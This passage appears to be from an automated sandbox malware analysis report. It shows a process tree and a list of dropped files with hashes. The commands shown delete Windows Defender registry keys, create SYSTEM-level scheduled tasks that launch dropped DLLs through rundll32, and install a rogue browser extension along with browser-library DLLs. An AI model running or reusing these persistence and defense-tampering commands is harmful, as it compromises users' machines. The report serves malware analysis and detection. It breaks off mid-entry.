                                                                                                                                                                                                    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:1756
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:4884
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:3080
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:868
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\sDZzDwaoU\jGcLAk.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FeYIZJMIrDMHpta" /V1 /F
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                            PID:4544
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /CREATE /TN "FeYIZJMIrDMHpta2" /F /xml "C:\Program Files (x86)\sDZzDwaoU\KvAeUNL.xml" /RU "SYSTEM"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                            PID:1312
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /END /TN "FeYIZJMIrDMHpta"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:1080
                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                              schtasks /DELETE /F /TN "FeYIZJMIrDMHpta"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:3860
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "NXGwaAPLNQhZTI" /F /xml "C:\Program Files (x86)\EqfDIhLUOuAU2\kNeSGxe.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:1040
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "BDVfvgxmFKLpI2" /F /xml "C:\ProgramData\tcytjYddvuQvqLVB\jcjOHzb.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:4452
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "nVyYSLaLZpeELibNc2" /F /xml "C:\Program Files (x86)\bUnTyWxqoVMNmzCpZNR\vZGhkIX.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:4132
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "SXQGDRXFvEUIaERUonw2" /F /xml "C:\Program Files (x86)\nWqLCKNYOCKLC\tCCGmgb.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:4740
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "zCCIxqGdnvUEnSAiG" /SC once /ST 19:23:33 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\MJuhmGroQWBIVyTj\vHnuoCIy\fQZxQcp.dll\",#1 /site_id 385107" /V1 /F
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:3588
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /run /I /tn "zCCIxqGdnvUEnSAiG"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:4160
                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                  schtasks /CREATE /TN "pVvXl1" /SC once /ST 15:20:39 /F /RU "Admin" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" --restore-last-session"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                  PID:1432
                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                  schtasks /run /I /tn "pVvXl1"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:1668
                                                                                                                                                                                                                • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                                                  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MJuhmGroQWBIVyTj\vHnuoCIy\fQZxQcp.dll",#1 /site_id 385107
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:1208
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                      C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MJuhmGroQWBIVyTj\vHnuoCIy\fQZxQcp.dll",#1 /site_id 385107
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Blocklisted process makes network request
                                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                      PID:4424
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /DELETE /F /TN "zCCIxqGdnvUEnSAiG"
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:216
                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --restore-last-session
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                                      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                      • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                      PID:2648
                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x100,0x104,0x108,0xd8,0x10c,0x7ffc48ad4f50,0x7ffc48ad4f60,0x7ffc48ad4f70
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:2076
                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1748,14205026939858557575,6131460415176358007,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1760 /prefetch:2
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:4280
                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1748,14205026939858557575,6131460415176358007,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1816 /prefetch:8
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:2152
                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1748,14205026939858557575,6131460415176358007,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2444 /prefetch:8
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:1436
                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1748,14205026939858557575,6131460415176358007,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2340 /prefetch:1
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:3048
                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1748,14205026939858557575,6131460415176358007,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2544 /prefetch:1
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:3200
                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1748,14205026939858557575,6131460415176358007,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:1
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:2468
                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1748,14205026939858557575,6131460415176358007,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3888 /prefetch:1
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:2992
                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1748,14205026939858557575,6131460415176358007,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3692 /prefetch:1
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:3192
                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1748,14205026939858557575,6131460415176358007,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5032 /prefetch:8
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:3328
                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1748,14205026939858557575,6131460415176358007,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5044 /prefetch:8
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:1860
                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1748,14205026939858557575,6131460415176358007,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4408 /prefetch:8
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:4480
                                                                                                                                                                                                                                            • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                PID:4004

                                                                                                                                                                                                                                              Network

                                                                                                                                                                                                                                              MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                                                              • C:\Program Files\nndannfdnoaiphfcbbpgkhodebpoiocf\background.html

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                786B

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                9ffe618d587a0685d80e9f8bb7d89d39

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                8e9cae42c911027aafae56f9b1a16eb8dd7a739c

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                a1064146f622fe68b94cd65a0e8f273b583449fbacfd6fd75fec1eaaf2ec8d6e

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                a4e1f53d1e3bf0ff6893f188a510c6b3da37b99b52ddd560d4c90226cb14de6c9e311ee0a93192b1a26db2d76382eb2350dc30ab9db7cbd9ca0a80a507ea1a12

                                                                                                                                                                                                                                              • C:\Program Files\nndannfdnoaiphfcbbpgkhodebpoiocf\icon.png

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                6KB

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                362695f3dd9c02c83039898198484188

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                85dcacc66a106feca7a94a42fc43e08c806a0322

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                40cfea52dbc50a8a5c250c63d825dcaad3f76e9588f474b3e035b587c912f4ca

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                a04dc31a6ffc3bb5d56ba0fb03ecf93a88adc7193a384313d2955701bd99441ddf507aa0ddfc61dfc94f10a7e571b3d6a35980e61b06f98dd9eee424dc594a6f

                                                                                                                                                                                                                                              • C:\Program Files\nndannfdnoaiphfcbbpgkhodebpoiocf\js\aes.js

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                13KB

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                4ff108e4584780dce15d610c142c3e62

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                77e4519962e2f6a9fc93342137dbb31c33b76b04

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                fc7e184beeda61bf6427938a84560f52348976bb55e807b224eb53930e97ef6a

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                d6eee0fc02205a3422c16ad120cad8d871563d8fcd4bde924654eac5a37026726328f9a47240cf89ed6c9e93ba5f89c833e84e65eee7db2b4d7d1b4240deaef2

                                                                                                                                                                                                                                              • C:\Program Files\nndannfdnoaiphfcbbpgkhodebpoiocf\js\background.js

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                20KB

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                0b4f3f9b9aede75c16b1fa5b6e5959b9

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                2317b5a392ace4d5fc7613fa894e5315b8790359

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                a50bcdd91f9cc1eafb90a0a5324b9cd40363a15cf1dc433acca63a350c247190

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                65260c0f57266f16ce2cb1f6e5b27491151f65416afa202ab3ab3729b1edce171c39e6b2098970172e390b535dd96e7a8ad55dd88673fd6026d8c9e78699b51a

                                                                                                                                                                                                                                              • C:\Program Files\nndannfdnoaiphfcbbpgkhodebpoiocf\js\content.js

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                3KB

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                e4f23ca32cacfb4de268eb194cc21143

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                8d747bec1f49e0de55efefe79765870ea5b1b27c

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                1fa3f358c7877cd49011adc35d8ac163b3b7dfa5703ac840ae01777c379cb71c

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                ecc4c7da2b69b9badec1fb378ad1d8773142d2fa6377ff0ab2d825568a950205cfb48752c84479863eedf3f362b84aecc9bc6c542eb8fb26f136b8df364162ca

                                                                                                                                                                                                                                              • C:\Program Files\nndannfdnoaiphfcbbpgkhodebpoiocf\js\jquery-3.3.1.min.js

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                84KB

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                a09e13ee94d51c524b7e2a728c7d4039

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                0dc32db4aa9c5f03f3b38c47d883dbd4fed13aae

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                160a426ff2894252cd7cebbdd6d6b7da8fcd319c65b70468f10b6690c45d02ef

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                f8da8f95b6ed33542a88af19028e18ae3d9ce25350a06bfc3fbf433ed2b38fefa5e639cddfdac703fc6caa7f3313d974b92a3168276b3a016ceb28f27db0714a

                                                                                                                                                                                                                                              • C:\Program Files\nndannfdnoaiphfcbbpgkhodebpoiocf\js\mode-ecb.js

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                604B

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                23231681d1c6f85fa32e725d6d63b19b

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                f69315530b49ac743b0e012652a3a5efaed94f17

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                03164b1ac43853fecdbf988ce900016fb174cf65b03e41c0a9a7bf3a95e8c26a

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                36860113871707a08401f29ab2828545932e57a4ae99e727d8ca2a9f85518d3db3a4e5e4d46ac2b6ba09494fa9727c033d77c36c4bdc376ae048541222724bc2

                                                                                                                                                                                                                                              • C:\Program Files\nndannfdnoaiphfcbbpgkhodebpoiocf\js\pad-nopadding.js

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                268B

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                0f26002ee3b4b4440e5949a969ea7503

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                31fc518828fe4894e8077ec5686dce7b1ed281d7

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                282308ebc3702c44129438f8299839ca4d392a0a09fdf0737f08ef1e4aff937d

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                4290a1aee5601fcbf1eb2beec9b4924c30cd218e94ae099b87ba72c9a4fa077e39d218fc723b8465d259028a6961cc07c0cd6896aa2f67e83f833ca023a80b11

                                                                                                                                                                                                                                              • C:\Program Files\nndannfdnoaiphfcbbpgkhodebpoiocf\manifest.json

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                1KB

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                05bfb082915ee2b59a7f32fa3cc79432

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                c1acd799ae271bcdde50f30082d25af31c1208c3

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                04392a223cc358bc79fcd306504e8e834d6febbff0f3496f2eb8451797d28aa1

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                6feea1c8112ac33d117aef3f272b1cc42ec24731c51886ed6f8bc2257b91e4d80089e8ca7ce292cc2f39100a7f662bcc5c37e5622a786f8dc8ea46b8127152f3

                                                                                                                                                                                                                                              • C:\ProgramData\Mslprojector\WlndowsDraiver-Ver2.5.5.8.exe

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                599.6MB

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                3d87770b36e964578dc0b46358b09f6e

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                fe11f5054cc1e7d5a1901ccbf2202c655ef5f248

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                53d891dfa98c1273c562de3bb4212ac08dabb07a0d626db407bc6aca2421a112

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                1507a76f79e43d7fc86965f23d947e92edd2ab8aa84eed92adda2d0e7ae90102a5322db62da6e68d8c5bd0e29741460b137529815ad62f01d6cfff0cefb24449

                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                1KB

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                8ed864e4e6bb37ece555901a509de683

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                422654eeee02c0c3aabe62c780d84716035a65e4

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                b50e7f4e954c69a6e5f972025e39e35a3fdd3671800dac26b96f2981422db664

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                5d85e9f63fe4f077f7c02e03f646ea69f9d780112eb17c446439567223a2cfcdd727394e03a9716b0c80c90ea7436a0d2e7d8a36632bae4447f0d1fa9782efa4

                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                410B

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                ad965323dd0d055d196d7ebc0a29f5ce

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                f11a163562e069f7e1335cba44dd17441d774537

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                b406874e903ae8138132ce2868a155aec806f0a36b0387d4c3b392cf480b1363

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                c6be5227ab2f616091d9e354ff3b9e5e768e30875b036338025b599df4b89b1ce2258ba6b0c612b46b78045ccb1c05c58f7ec16aa3c00786f788f1d74a550014

                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\LocalLow\mozglue.dll

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                612KB

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                f07d9977430e762b563eaadc2b94bbfa

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                da0a05b2b8d269fb73558dfcf0ed5c167f6d3877

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                4191faf7e5eb105a0f4c5c6ed3e9e9c71014e8aa39bbee313bc92d1411e9e862

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                6afd512e4099643bba3fc7700dd72744156b78b7bda10263ba1f8571d1e282133a433215a9222a7799f9824f244a2bc80c2816a62de1497017a4b26d562b7eaf

                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\LocalLow\nss3.dll

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                1.9MB

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                f67d08e8c02574cbc2f1122c53bfb976

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                6522992957e7e4d074947cad63189f308a80fcf2

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                c65b7afb05ee2b2687e6280594019068c3d3829182dfe8604ce4adf2116cc46e

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                2e9d0a211d2b085514f181852fae6e7ca6aed4d29f396348bedb59c556e39621810a9a74671566a49e126ec73a60d0f781fa9085eb407df1eefd942c18853be5

                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\LocalLow\sqlite3.dll

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                1.0MB

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                dbf4f8dcefb8056dc6bae4b67ff810ce

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                bbac1dd8a07c6069415c04b62747d794736d0689

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                47b64311719000fa8c432165a0fdcdfed735d5b54977b052de915b1cbbbf9d68

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                b572ca2f2e4a5cc93e4fcc7a18c0ae6df888aa4c55bc7da591e316927a4b5cfcbdda6e60018950be891ff3b26f470cc5cce34d217c2d35074322ab84c32a25d1

                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                16KB

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                f9564f170a40d1b46cf2cdecff3d900a

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                1c073ebfaadb5cc2393a5f7b88a3199053844aec

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                d68ee6e985da2da59a0c5c3404feb1c51a1af9f1e1d8669c9d55813ac57b9a00

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                cff7410937d73da90cbe442c9bfd009276feaeb8928fbb001f283cb33190bd62be2f04dd6db9ed71e76490d1e8d3ed8f783dc7cb1fb70e50ff52c22d9326ffa9

                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                107KB

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                6b9e3582b1091f569ce8cd018f841295

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                407c5d733f65bda91ab76671c285d15f161e8f95

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                1d0bf03fec424bfdaae4893c47e8d0710e71714b633d8a71ae884e66d1e9e47a

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                1fd0c9353b2b850d68402d5d983bae0a3db8d369fa5060342d8a9753ceb28126e61d5e172266fe407136ed27e8582c30dd8fcc0772da02ff6da0920a05cfe8cc

                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000040001\pb1111.exe

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                3.5MB

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                3517aaa63e57ebc51421fd6266ec09a6

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                49469a3ea738cb2f79723913a52f263f6e217d40

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                c5cbf5c1b551dec1326505e5a0ea4d298d19a53ce0c6197df9de8f57980bbd88

                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                7c8d19c0d4fb64d5851ca765a3797250605240b5e13ffbd485e042dbe612136da5a1b42b0dafd631f18ca1c102cda2580ad4289a6d5d3365b589030e30b5f511

                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000040001\pb1111.exe

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                3.5MB

                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                3517aaa63e57ebc51421fd6266ec09a6

                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                49469a3ea738cb2f79723913a52f263f6e217d40

                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                c5cbf5c1b551dec1326505e5a0ea4d298d19a53ce0c6197df9de8f57980bbd88

                                                                                                                                                                                                                                                SHA512

